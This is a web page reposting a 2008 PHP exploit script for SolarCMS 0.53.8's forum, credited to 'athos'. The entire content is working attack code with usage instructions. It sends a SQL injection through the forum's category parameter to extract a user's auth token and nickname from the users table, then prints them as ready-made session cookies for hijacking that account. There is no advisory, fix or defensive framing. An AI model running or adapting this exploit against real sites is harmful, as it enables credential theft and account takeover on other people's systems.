Home / os / win10

solarcms-cookie.txt

Posted on 30 December 2008

<?php error_reporting(0); /*************************************************************** * --------------------------------------------------------- * * SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit * * --------------------------------------------------------- * * by athos - staker[at]hotmail[dot]it * * download on http://cms.maury91.org/ * * works regardless PHP.ini settings * * --------------------------------------------------------- * ***************************************************************/ list($file,$host,$path,$myid,$table) = $argv; if($argc != 5) usage(); $cookie = (preg_match('/^(.+?)^/',get_cookies(),$out)) ? explode(':',$out[1]) : error(); if($path == '/') { print "_nick={$cookie[1]}; path=/; "; print "_sauth={$cookie[0]}; path=/; "; exit; } else { print "/{$path}_nick={$cookie[1]}; path=/; "; print "/{$path}_sauth={$cookie[0]}; path=/; "; exit; } function get_cookies() { global $host,$path,$myid,$table; $data .= "GET {$path}/index.php?com=Forum&cat=-1+union+select+1,"; $data .= "concat(0x5e,sauth,0x3a,nick,0x5e),3+from+{$table}+where+id={$myid}-- HTTP/1.1 "; $data .= "Host: {$host} "; $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U) "; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 "; $data .= "Connection: close "; if(!$sock = fsockopen($host,80)) die("connection refused "); fputs($sock,$data); while(!feof($sock)) { $html .= fgets($sock); } fclose($sock); return $html; } function error() { print "Exploit Failed! "; print "Regards ;) "; exit; } function usage() { print "--------------------------------------------------------- "; print "SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit "; print "--------------------------------------------------------- "; print "by athos - staker[at]hotmail[dot]it "; print "Usage: php xpl.php [host] [path] [userid] [table] "; print "php xpl.php localhost / 1 solarcms_users "; exit; }

 

TOP